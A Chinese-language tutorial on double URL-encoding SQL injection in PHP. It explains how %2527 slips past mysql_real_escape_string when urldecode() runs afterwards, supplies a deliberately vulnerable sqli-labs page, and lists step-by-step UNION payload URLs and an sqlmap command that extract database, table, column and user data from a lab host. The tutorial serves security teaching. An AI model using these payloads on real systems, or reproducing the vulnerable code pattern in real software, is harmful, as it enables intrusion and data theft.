1、二次编码注入原理
+,=,&,;
http
eg:
name=admin=
name=admin&
一般情况下,通过web浏览器提交的数据,php代码会自动将其编码回来,如admin%3d会变为admin=
不同的脚本语言对编码的处理方式不同
php:urldecode() %3d-->=
宽字节注入和二次编码注入:
都是在面对PHP代码或配置,对输入的单引号进行转义的时候,在处理用户输入数据时存在问题,可以绕过转义。
宽字节注入:
GBK编码处理编码的过程存在问题,可构造数据消除反斜杠\
二次编码注入:
urldecode()与PHP本身处理编码时,两者配合失误,可构造数据消除\
正常处理流程
用户输入 | PHP自身编码 | 转义 | 带入SQL | 结果 |
---|---|---|---|---|
id=1%27 | id=1' | id=1\‘ | id=1\’ and | 不能注入 |
![](
PHP代码中使用了urldecode()等函数,放在了一个比较尴尬的位置,与PHP自身编码配合失误。
用户输入 | PHP自身编码 | 转义 | 函数编码 | 带入SQL | 结果 |
---|---|---|---|---|---|
id=1%2527 | id=1%27 | id=1%27 | id=1' | id=1' and | 可注入 |
%25 转换之后为 %
%25进行了编码转换,所以%27不会再进行编码转换。
PHP自身编码处由于是%27,并没有单引号出现,所以不会触发单引号转义。
而当在不恰当的时候代码中使用函数进行编码转换,就会将%27还原为单引号,即可造成SQL注入
常规注入:
用户输入【1%27】=>php自身编码【1’】=>php检查到单引号,触发函数,进行转义【1\’】=>带入sql语句【select * from users where ID=’1\’’】=>不能注入
二次编码注入:
用户输入【1%2527】=>php自身编码,%25转换成%【1%27】=>php未检查到单引号,不转义【1%27】=>遇到一个函数编码,使代码进行编码转换【1’】=>带入sql语句=>能注入
关键:编码函数的位置,必须在转义函数之后,带入sql语句之前,sql语句中%27并不会转换成单引号,如图
2、二次编码注入方法
doublecode.php
将该代码放在sqli-libs目录下:
DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>二次编码注入title>
head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan font><br>
<font size="3" color="#FFFF00">
php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id = mysql_real_escape_string($_GET['id']);
echo 'mysql_real_escape_string:'.$id.'
';
$id = urldecode($id);
echo 'urldecode:'.$id.'
';
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
font> div>br>br>br><center>
<img src="../images/Less-1.jpg" />center>
body>
html>
方法:在注入点后键入%2527,然后按正常的注入流程开始注入
http://192.168.174.142/sqli-labs/doublecode/index.php?id=1'
转义后的数据是1\'、解码后的数据是1\'
mysql_real_escape_string:1\'
urldecode:1\'
http://192.168.174.142/sqli-labs/doublecode/index.php?id=1%2527
通过转义后变成1%27,再通过usrdecode()解码后%27变成了‘
mysql_real_escape_string:1%27
urldecode:1'
此时正常注入即可
http://192.168.174.142/sqli-labs/doublecode/index.php?id=1%2527 order by 3--+
http://192.168.174.142/sqli-labs/doublecode/index.php?id=-1%2527 union select 1,2,3--+
http://192.168.174.142/sqli-labs/doublecode/index.php?id=-1%2527 union select 1,database(),3--+
http://192.168.174.142/sqli-labs/doublecode/index.php?id=-1%2527 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3--+
http://192.168.174.142/sqli-labs/doublecode/index.php?id=-1%2527 union select 1,(select column_name from information_schema.columns where table_name=0x7573657273 limit 3,1),3--+
http://192.168.174.142/sqli-labs/doublecode/index.php?id=-1%2527 union select 1,(select username from users limit 0,1),3--+
http://127.0.0.1/sqlilabs/doublecode/index.php?id=1%2527 union select 1,(select user()),3--+
使用sqlmap:
sqlmap -u “http://192.168.174.142/sqli-labs/doublecode/index.php?id=-1%2527”
黑盒测试:
在可能的注入点后键入%2527,之后进行注入测试
白盒测试:
1、检查是否使用urldecode()函数